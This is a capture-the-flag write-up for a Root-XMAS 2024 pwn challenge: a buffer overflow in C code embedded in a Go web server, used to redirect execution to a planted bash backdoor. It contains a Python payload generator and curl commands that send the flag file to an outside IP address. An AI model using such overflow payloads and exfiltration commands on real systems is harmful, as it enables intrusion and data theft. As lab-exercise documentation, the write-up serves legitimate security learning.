Root-XMAS 2024 Day 07 - Go, Pwn, Gown
# summary
A "simple" pwn challenge, with a Go binary containing C code. There is a backdoor function allowing to execute a bash command with a variable we control, the challenge being setting the RIP register with the correct address so the backdoor is called. However, we have the Docker environment and the binary has no ASLR, so we can extract the backdoor address from the compiled binary.
# recon
Oh no, a pwn challenge, my nemesis! It's been 10 years I told myself I'd tackle this subject, and I didn't jump on the occasion with the recent Root-me Pwn Month. But maybe this one will be an introduction…
Let's check the Go binary. We see it's a a simple web API server , where the /
endpoint strips the parameter from null bytes , then set it as an environment variable, then calls the C.unsafeFunction()
.
func handleRequest(w http.ResponseWriter, r *http.Request) {
log.Println("Calling handleRequest")
defer func() {
log.Println(r.URL.Path)
gown := r.URL.Query().Get("gown")
if gown == "" {
http.Error(w, "Gown parameter is missing", http.StatusBadRequest)
return
}
cGown := C.CString(gown)
if i := strings.IndexByte(gown, '\x00'); i != -1 {
gown = gown[:i]
}
os.Setenv("GOWN", string(gown))
fmt.Println("Getenv(GOWN) = ", os.Getenv("GOWN"))
defer C.free(unsafe.Pointer(cGown))
C.unsafeFunction(cGown)
// C.laluBackdoor()
w.Write([]byte("Request handled\n"))
}()
}
But where is this unsafeFunction
, I don't see it… ah! it's inserted in the comments of the Go source! That's an original method to mix Go and C.
void unsafeFunction(char *gown) {
char buffer[64];
memcpy(buffer, gown, 128); // UTF8 AMIRIGHT ?!
printf("Received: %s\n", buffer);
}
void laluBackdoor() {
char *bash_path = "/bin/bash";
extern char **environ;
execle(bash_path, bash_path, "-c", "echo $(${GOWN})", NULL, environ);
}
We see we have a classic buffer overflow, where we put 128 bytes of user input in a buffer of size 64.
We also see the laluBackdoor
method conveniently put, never used, but accessible, and executing the content of our user input.
Seems straightforward! Let's compile the binary and check if there are any protections, but the build.sh
has specific instructions to disable security measures.
CGO_ENABLED=1 CGO_CFLAGS="-Wstringop-overflow=0 -fno-stack-protector -D_FORTIFY_SOURCE=0" go build -ldflags "-linkmode external -extldflags '-no-pie'" -o gown main.go
Let's get the binary directly from our docker container:
sudo docker cp 16e6aad445c0:/app/gown ./gown-dock
pwn checksec --file=gown-dock
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
As expected, no ASLR, no canary, road is clear!
Even better, the binary is compiled with debug info, so when you launch it, and call the /
endpoint on your localhost, it segfaults and outputs all the stacktrace, with the content of all ASM registers! Santa just keeps giving gifts!
# solution
Our goal will be to change the Instruction Pointer register (EIP
in x86, RIP
in x64), so that instead of pointing to the next instruction it goes straight to laluBackdoor
. No need for a fancy shell-code creating a reverse shell.
Let's try to change see which registers we overwrite, by creating a 128 bytes string with a pattern generator .
app ./gown
2024/12/08 03:29:37 /
Getenv(GOWN) = Aa0Aa1Aa2Aa3...Ae1Ae
Received: Aa0Aa1Aa2Aa3...Ae1Ae
SIGSEGV: segmentation violation
...
rbp 0x3363413263413163 # 3cA2cA1c pattern
rip 0x64a9f3 # not changed
First problem: we overwrite the RBP
register, but not RIP
. What is this trickery?
Thankfully the ired-team blog on 64-bit buffer overflow gives us the solution on it's "Why is RIP not overflowed?" section:
In x64, if
RIP
is assigned a too big value outside of the available memory range (capped at0x00007FFFFFFFFFFF
) , then the register is left unmodified.
So let's do aclever or automated analysis of the registries offset Totally guess the offset by trial and error by randomly removing characters from our payload.
app ./gown
...
Received: Aa0Aa1Aa2Aa3...1Ac2Ac3Ac4
SIGSEGV: segmentation violation
...
rbp 0x3363413263413163
rip 0x346341 # 4cA pattern
and after a few tries, it just works! We set the RIP
pointer with 3 bytes we control. It's offset is at:
echo -n "Aa0Aa1A...c0Ac1Ac2Ac3Ac4" | wc -c
75
expr 75 - 3 # 3 bytes reserved for the address
72
Now to find the laluBackdoor
offset! two possible ways:
- Dynamic analysis with GDB
We can install GDB on the docker container, run the binary and set a break point, to see returned the offset.
b laluBackdoor
Breakpoint 1 at 0x61eb95 # !! 4 bytes offset!
warning
gdb puts the breakpoint 4 bytes AFTER the real start of the method, which will leave you with a surprise (and lot of time loss ) if you don't know it!
- Static analysis with Ghidra or Objdump.
As we extracted our binary from the docker container, we can analyze it with Ghidra. Afterwards, searching a more elegant solution for the write up, I just thought about Objdump. No need to start NSA's heavy artillery!
objdump -d gown-dock | grep "laluBackdoor"
> 000000000061eb91 <laluBackdoor>:
We now have everything to generate our payload that will be comprised of 3 elements:
- A bash
curl
command to exfiltrate the flag, executed bylaluBackdoor
- A padding until the 72th character
- The
laluBackdoor
address to overwriteRIP
Of course we'd never generate our payload manually, that would be silly, let's create a script automating this right from the start. We would do it for the write-up anyway! (>ᴗ•)
from urllib.parse import quote,unquote
import math
def generate_payload(addr: int, payload: str) -> str:
offset = 72 # found by testing
# math for number of bytes in the address
numBytes = math.ceil(addr.bit_length() / 8)
# little endian as shown in "pwn checksec"
encoded_addr = quote(addr.to_bytes(numBytes, 'little'))
padding = (offset-len(st))*"#"
res = quote(payload + padding) + encoded_addr
return res
x = generate_payload(0x61eb91, "curl -d @//flag/randomflagdockersayspouet.txt 11.111.111.111:49153 #")
print(x)
we just have to send it to the pwn chall's instance and check our custom python SimpleHTTPServer supporting POST requests.
payload='curl%20-d%20%40//flag/randomflagdockersayspouet.txt%2011.111.111.111%3A49153%20%23%23%23%23%23%91%EBa'
curl -k "dyn-01.xmas.root-me.org:21951/?gown=$payload"
POST / : b'RM{OffenSkillSaysWhat2024YouGotGowned}'
Well done! This chall was not that hard in the end… But was it?
# how to lose 5 hours with bash
For whatever reason, during testing, I thought that I had to take care not overwriting the RAX
register. Surely during my tests with GDB giving a 4 bytes shifted offset.
So I fixed my offset issue, but carried away this non-existing RAX
constraint, meaning I had to create payload like this:
# normal working payload
payloadwithpadding XXXXXX%91%EBa
# payload with useless constraint
payloadwithpadding XXXXXX%01%00%00%00%00%00%00%00%00%00%91%EBa
This additional constraint meant my payload maximum size was reduced from 72 chars to 62 . And my curl
payload was over 62 characters…
But thankfully we have multiple solutions to reduce the size of our payload!
# changing the url
The ip is pretty big, and we use an unusually big port, it takes lots of characters! Check out the difference:
11.111.111.111:49153 # 20 chars
tuxlu.fr # 8 chars
problems:
- There was no DNS on the pwn server (it was fixed the day after, sometimes patience is key)
- I can't open smaller ports on my box, and I'm too cheap to buy a VPS :(
So indeed, had I port 80 opened on my box I would have not spent 5 hours battling with bash! (or had I my brain on and found out I was allowed to use 72 chars)
# writing other bash commands
So, to gain some characters, the file name seems an easy target. look at this long boi: /flag/randomflagdockersayspouet.txt
A simple bash expansion like this "$(cat /flag/*)"
should do the trick…
But that's where appears our worst enemy: the bash trickery that does parameter expansion. Let's check how the bash command with our environment variable is executed:
execle(bash_path, bash_path, "-c", "echo $(${GOWN})", NULL, environ);
this $(${GOWN})
does some funky stuff. Let's try with ou bash expansion, with a simple eval
for the expected behavior, then the actual result interpreted by the laluBackdoor
:
G2='curl --data-binary "$(cat /flag/*)" 88.165.169.180:49153'
eval $G2
POST / : b'RM{REDACTED}'
echo $(${G2})
POST / : b'"$(cat'
Indeed, instead of interpreting our bash command, the string is interpreted as is, and it doesn't seem to like spaces inside parenthesis!
OK no problem. We tried for 1 hour or 2 interpreting bash, it doesn't work. But we can do our exploit in two commands: first renaming the file with a smaller name then sending it… right?
GOWN="cp /flag/randomflagdockersayspouet.txt /tmp/t.txt #"
eval $GOWN
ok
echo $(${GOWN})
cp: target '#' is not a directory
??!!! This sneaky bash parameter expansion means that all characters in the payload are interpreted either as a command or its parameters! our #
or ;
are not interpreted as bash commands or command ending instruction.
By pure luck, when we tested the curl
command, it allows any number of URLs as parameters, and ignores invalid URLs, like this:
man curl
curl [OPTIONS] URL...
curl -k example.com "####%91%EBa"
<title>Example Domain</title>
...
curl: (3) URL rejected: No host part in the URL
But with cp
, mv
, or dd
executables, we have an usage where the destination is the last character. Where our padding is!
cp /flag/randomflagdockersayspouet.txt /tmp/flag.txt "####"
cp: target '####': no file or directory existing
after a 5 hours battle, I finally found in the /bin/
directory of the docker container a command that would allow me to move my file: good old tar
!
tar -cvf /tmp/z.zip /flag/randomflagdockersayspouet.txt #
curl --data-binary @/tmp/z.zip 88.165.169.180:49153 #
POST / : b'flag/randomflagdockersayspouet.txt\\x00\\x00
...
RM{OffenSkillSaysWhat2024YouGotGowned}\\n\\x00\\x00\\x00
Why do things the simple way when you can do it the insanely convoluted way?
# update : null bytes
after the release of this write-up, iTrooz told me that instead of using a '#
' to end my payload, I could have used a null-byte '\x00
'. And indeed yes, I completely forgot about it and it would have perfectly worked. Thanks again for the reminder ^^'
Previous day | Day 06 - Unwrap The GiftDay 06 - Unwrap The Gift |
---|---|
Next day | Day 08 - Custom HTTP ServerDay 08 - Custom HTTP Server |